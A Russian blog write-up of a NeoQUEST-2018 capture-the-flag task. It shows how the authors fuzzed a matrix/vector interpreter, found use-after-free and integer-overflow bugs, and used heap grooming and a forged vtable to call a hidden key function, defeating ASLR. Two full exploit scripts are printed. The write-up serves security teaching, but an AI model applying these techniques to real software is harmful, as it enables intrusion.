Pull to refresh

Pwn iNt All! Находим уязвимости в скриптовых движках и вскрываем usermode-механизмы защиты Windows. Часть 1

Reading time9 min
Views6K

Операционные системы – дело тонкое. И очень защищенное! Обойти их механизмы защиты — дело сложное и трудоемкое, даже слегка похожее на волшебство. Но говорят, что сын маминой подруги уже нашел несколько RCE-уязвимостей, написал эксплойт, и обошел все защитные механизмы. Попробуем и мы!

Сделаем это на примере задания № 11 из прошедшего NeoQUEST-2018. Задачка реалистичная — рассмотрим “живой” сценарий удаленного выполнения кода, похожий на тот, что возникает в процессе эксплуатации Javascript-движков в браузерах. Будем искать уязвимости в некотором интерпретаторе, реализовывать их с получением ARW-примитива, а в результате — обойдем защиту ОС Windows пользовательского режима. Задание оказалось крайне сложнопроходимым интересным, поэтому посвятим ему целый цикл статей с подробным описанием пути к успеху.

По легенде, у нас имеется бинарник программы, а также адрес, на котором крутится подобный сервис. Также упомянуто о том, что первой ступенькой к успеху является некая «ключевая» функция.

Итак, приступим!

«Ключевой» поиск


Рассмотрим исходные данные. Целевая программа представляет собой некий интерпретатор команд для работы с тремя типами данных: числами, векторами и матрицами. Воспользуемся командой help — это даст нам представление о наборе поддерживаемых команд. Интерпретатор позволяет:

  • Создавать переменные векторов, матриц и чисел различных размеров.
  • Переназначать и копировать переменные.
  • Работать с отдельными ячейками матриц векторов как с числами, производить с ними простейшие арифметические операции.
  • Искать значение в векторах/матрицах, узнавать тип переменной и её значение.
  • Создавать циклы с переменными границами и шагом.




Программа реализована в виде бесконечного цикла обработки команд:



И каждая команда представлена отдельным регулярным выражением.


Итак, в поисках “ключевой” функции проверим бинарник на предмет характерных строк, связанных со словом “ключ” на всех языках мира. Быстро находим нужный фрагмент:




Похоже, что в бинарнике ключ отсутствует (что логично, черт побери!). Судя по всему, на сервере крутится тот же бинарник, и в строке аргумента aFirstKeyIs2c7f там находится верный ключ! Но как получить содержимое измененной строки с удаленного сервера?

Элементарный анализ подтверждает тот факт, что найденную нами функцию необходимо только вызвать, и строка с ключом будет напечатана в stdout. Похоже, что эта функция является виртуальным методом какого-то класса, так как:

  • В коде отсутствуют прямые вызовы (direct calls) этой функции и функции-заглушки sub_40E120.
  • Вызов sub_40E120 лежит в списке разрешенных с точки зрения механизма Control Flow Guard, что характерно для виртуальных методов – эти методы вызываются через косвенные вызовы (indirect calls).





Итак, фронт работ ясен: необходимо научиться вызывать нужный виртуальный метод в бинарнике на серверной стороне. Есть два варианта развития событий:

  1. Попробовать найти легитимную возможность вызвать нужный метод. Теоретически это может быть недокументированная возможность программы.
  2. Поискать уязвимости. Если найти то, что позволит нам овладеть магией выполнения произвольного кода, то можно с легкостью вызвать нужный метод и получить ключ.


С чего же начать?

Закладки сладки


Для начала проанализируем код на предмет недокументированных возможностей. Судя по всему, функция обработки входной строки их не содержит: используемые здесь регулярные выражения относятся лишь к вышеперечисленным командам. Да и прямых вызовов данной функции в коде нет. Может быть, среди документированных команд имеются скрытые возможности по косвенному вызову нужной нам “ключевой” функции?

Ан нет. Некоторые команды (find, what) содержат в себе косвенные вызовы виртуальных методов, но повлиять на выбор вызываемого метода невозможно — смещения в таблице vtable везде фиксированы.





Увы, неудача! Теперь самое время заняться поиском оправданий уязвимостей, которые позволят нам вызвать “ключевую” функцию.

Кто ищет, тот всегда найдет, что искать


Мы у мамы программисты, поэтому попробуем написать простейший фаззер, генерирующий случайные, синтаксически верные наборы команд для интерпретатора. По такому же принципу пишутся фаззеры Javascript и DOM при поиске уязвимостей в браузерах. Наш фаззер будет генерировать различные последовательности команд в надежде “уронить” интерпретатор. Принцип работы фаззера при генерации очередной последовательности команд следующий:

  1. Сначала создается некоторое количество переменных различных типов и размеров. Имена и типы переменных сохраняются для последующего использования.
  2. Далее каждая команда генерируется случайным образом в соответствии со списком имеющихся переменных:
    • Выбирается произвольная команда (без учета параметров) из списка: команда создания новой переменной, арифметическая операция, команда присвоения, команды find, print.
    • В зависимости от вида команды, к ней добавляются произвольные аргументы. К примеру, для команды find выбирается произвольное имя из списка доступных переменных + произвольное число, являющееся вторым аргументом. Для команды арифметической операции число параметров велико (знак операции, переменные, индексы векторов и матриц), и каждый из них также выбирается произвольно.
    • Сформированная команда добавляется в текущую последовательность. Поскольку некоторые команды могут создавать новые переменные и менять тип уже существующих, то списки с переменными в этих случаях обновляются. Это позволит задействовать новые/измененные переменные в процессе генерации последующих команд.
  3. Интерпретатор запускается под отладчиком. Сформированная последовательность передается на вход интерпретатору. Ведется регистрация возможных падений при обработке переданных команд.

Иии… Победа! После запуска фаззера достаточно быстро удалось найти уязвимые последовательности команд, на которых интерпретатор “упал”. Результат более чем удовлетворительный — целых две различные уязвимости!

Уязвимость №1 (UaF)


Получив первую последовательность и очистив её от лишних команд (которые не влияют на падение интерпретатора), получаем следующий Proof-Of-Concept:



Посмотрим повнимательнее. Узнаете? Перед нами классическая уязвимость типа Use-After-Free! Вот что происходит в данной последовательности команд:

  1. Создается большой вектор vec и целочисленная переменная intval.
  2. Создается копия вектора vec — переменная vec2.
  3. Переменной vec2 присваивается переменная другого типа (целочисленного).
  4. Попытка работать с исходным вектором vec приводит к записи в освобожденную память и, соответственно, к падению программы.




Похоже, что в интерпретаторе реализована концепция Copy-On-Write, вследствие чего переменные vec и vec2 содержали ссылку на один и тот же буфер в памяти. При переназначении одной из переменных буфер освобождался без учета того факта, что на него имелась ссылка и в другой переменной. После этого переменная vec содержала указатель на освобожденную память, и имела к ней доступ на чтение и запись. Как итог, данная уязвимость позволяет получить произвольный доступ к участку памяти, в которой могут находиться другие объекты программы.

Уязвимость №2 (Integer Overflow)


Вторая проблема связана с конструктором объекта матрицы. При выделении памяти под численный массив некорректно реализована проверка ширины W и высоты H матрицы.



В конструкторе предварительно выделяется память под W*H целочисленных ячеек. Если произведение W *H было больше, чем 232-1, то это приводит к выделению очень маленького буфера вследствие целочисленного переполнения. Это можно заметить и непосредственно в бинарнике, в конструкторе класса.



Однако возможность последующего доступа к ячейкам этого массива определяется большими границами W и H, а не переполненным значением W *H:



Данная уязвимость так же, как и первая, позволяет осуществлять чтение и запись в память вне допустимых границ.

Каждая из найденных уязвимостей позволяет достичь нужного результата – стать RCE-богом и исполнить произвольный код. Рассмотрим эту процедуру в обоих случаях.

Я тебя контролирую!


Возможность произвольного доступа к свободному участку памяти в куче является сильным примитивом эксплуатации. Необходимо использовать поврежденный объект vec (вектор в первом случае и матрицу во втором) для контролируемой модификации какого-то другого объекта в куче процесса (назовем его victim). Нужным образом изменяя внутренние поля объекта victim, мы добьёмся выполнения произвольного кода.
Сначала поймем, что из себя представляют объекты числа, вектора и матрицы в памяти. Вновь заглянем в бинарник и недалеко от функции обработки входной команды обнаружим вызовы конструкторов для соответствующих классов. Все они являются наследниками базового класса и имеют схожие конструкторы. Например, так выглядит конструктор объекта вектора:



При создании объекта вызывается конструктор базового класса, затем поля объекта заполняются в соответствии с его типом. Можно увидеть назначение и порядок полей: адрес таблицы виртуальных функций, размер вектора, адрес буфера, тип объекта в виде численного идентификатора.
Как добиться того, чтобы в освобожденном участке памяти, доступном с помощью поврежденного объекта vec, оказалась переменная victim? Будем создавать новые объекты в куче процесса сразу после приведения объекта vec в поврежденное состояние. А для поиска объекта, который таки попадет в освобожденную память, воспользуемся командой интерпретатора find. Поместим в одно из полей у создаваемых объектов какое-либо редкое значение — своеобразный magic number. Очевидно, лучше всего для этого подходит размер буфера, т.к. он задается непосредственно пользователем при создании нового объекта. Если поиск этого значения в буфере поврежденного объекта vec увенчается успехом, значит, мы нашли нужный объект!
Продемонстрируем нахождение объекта victim для обеих уязвимостей. Действия на данном этапе будут несколько отличаться друг от друга.

В случае с первой уязвимостью типа UaF команда find осуществляет поиск в ограниченном участке памяти — его размер совпадает с размером освобожденного буфера у объекта vec. Выделение объекта в куче производится системным аллокатором и не является детерминированным процессом. Мы так подберем размеры буфера у изначального объекта vec и у создаваемых объектов, чтобы какой-нибудь из них попал в нужную память за небольшое число попыток:



Отлично, мы успешно нашли объект-жертву victim (он же v1 в данном случае)!

При выполнении того же сценария с использованием второй уязвимости все будет несколько сложнее. В этом случае поиск будет потенциально вестись во всей памяти, поскольку ширина W либо высота H матрицы будут велики. Однако если нужного числа в непосредственной близости от буфера не будет, то цикл поиска будет выходить за границы отображенной в адресное пространство памяти. Это приведет к падению процесса интерпретатора до нахождения заветного magic number. Эта проблема решается выделением большого количества объектов в памяти — хотя бы один из них попадет в память непосредственно вблизи буфера.





Бинго! И в данном случае мы также нашли объект victim!

А теперь самое интересное — необходимо понять, как именно изменить объект victim и как запустить с его помощью выполнение нужного нам кода. Итак, мы успешно поместили в освобожденную память объект класса “вектор”. Схематично это выглядит как-то так:



Объект victim находится в доступном нам с помощью объекта vec участке кучи, и мы можем как читать поля объекта victim, так и изменять их. Также нам известно смещение числа bufsize в буфере объекта vec. Теперь модифицируем объект victim следующим образом:

  1. Прочитаем адрес таблицы vtable, тем самым раскрывая исполняемый адрес в памяти (и побеждая защиту ASLR).
  2. Изучив бинарник интерпретатора, найдем константную разницу между адресом таблицы vtable для объекта вектора и адресом “ключевой” функции. Это позволит вычислить адрес “ключевой” функции на стороне сервера:


  3. Сформируем ложную таблицу vtable прямо в буфере объекта victim, куда запишем только что вычисленный адрес “ключевой” функции.
  4. Заменим адрес истинной таблицы vtable у объекта victim на адрес ложной.
  5. Вызовем команду what у объекта victim. Благодаря манипуляции с таблицей vtable вместо подлинного виртуального метода вызовется наша, “ключевая” функция. Поскольку мы вызываем целую функцию, а не отдельные ROP-гаджеты, защита Contol Flow Guard вызову функции никак не препятствует.



Данная схема вызова нужной нам функции является идентичной для обеих уязвимостей.

Мы в шаге от успеха, осталось собрать все воедино и получить ключ! Ниже рассмотрим оба примера.
Так выглядит код работающего эксплойта для уязвимости типа Use-After-Free:



Код эксплойта для уязвимости типа Use-After-Free
var vec[4096]
var m2:=vec
var va=3
m2:=va
va=find(vec,256)
var v1[256]
va=find(vec,256)
var vtb=0
vtb=va-1
var buf=0
buf=va+1
var func=0
func=vec[vtb]-1547208
func=func+57632
v1[0]=func
vec[vtb]=vec[buf]
what v1



А так — для уязвимости типа Integer Overflow:



Код эксплойта для уязвимости типа Integer Overflow
var m[65537][65536]
var v1[256]
var v2[256]
var v3[256]
var v4[256]
var v6[256]
var v5[256]
var v7[256]
var v8[256]
var v9[256]
var v10[256]
var v11[256]
var v12[256]
var v13[256]
var v14[256]
var v16[256]
var v15[256]
var v17[256]
var v18[256]
var v19[256]
var v20[256]
var v21[256]
var v22[256]
var v23[256]
var v24[256]
var v25[256]
var v26[256]
var v27[256]
var v28[256]
var v29[256]
var v30[256]
var v31[256]
var v32[256]
var v33[256]
var v34[256]
var v35[256]
var v36[256]
var v37[256]
var v38[256]
var v39[256]
var v40[256]
var varr=0
var varc=0
varr=find(m,256).row
varc=find(m,256).col
var vtb=0
vtb=varc-1
var buf=0
buf=varc+1
var func=0
func=m[varr][vtb]-1547208
func=func+57632
v1[0]=func
v2[0]=func
v3[0]=func
v4[0]=func
v5[0]=func
v6[0]=func
v7[0]=func
v8[0]=func
v9[0]=func
v10[0]=func
v11[0]=func
v12[0]=func
v13[0]=func
v14[0]=func
v15[0]=func
v16[0]=func
v17[0]=func
v18[0]=func
v19[0]=func
v20[0]=func
v21[0]=func
v22[0]=func
v23[0]=func
v24[0]=func
v25[0]=func
v26[0]=func
v27[0]=func
v28[0]=func
v29[0]=func
v30[0]=func
v31[0]=func
v32[0]=func
v33[0]=func
v34[0]=func
v35[0]=func
v36[0]=func
v37[0]=func
v38[0]=func
v39[0]=func
v40[0]=func
m[varr][vtb]=m[varr][buf]
what v1
what v2
what v3
what v4
what v5
what v5
what v6
what v7
what v8
what v9
what v10
what v11
what v12
what v13
what v14
what v15
what v16
what v17
what v18
what v19
what v20
what v21
what v22
what v23
what v24
what v25
what v26
what v27
what v28
what v29
what v30
what v31
what v32
what v33
what v34
what v35
what v36
what v37
what v38
what v39
what v40 


Ура! Получен ключ, а бонусом к нему — важная информация. Оказывается, имеется и второй ключ, но он лежит в файле рядом с бинарником на стороне сервера. Для решения данной задачи требуется строить ROP-цепь, а значит, придется обходить CFG. Но об этом — в следующей статье!

А мы напоминаем, что всем, кто прошел полностью хотя бы одно задание на NeoQUEST-2018, полагается приз! Проверяйте почту на наличие письма, а если вдруг оно вам не пришло — пишите на support@neoquest.ru!
Tags:
Hubs:
Total votes 7: ↑7 and ↓0+7
Comments0

Articles

Information

Website
neobit.ru
Registered
Employees
51–100 employees
Location
Россия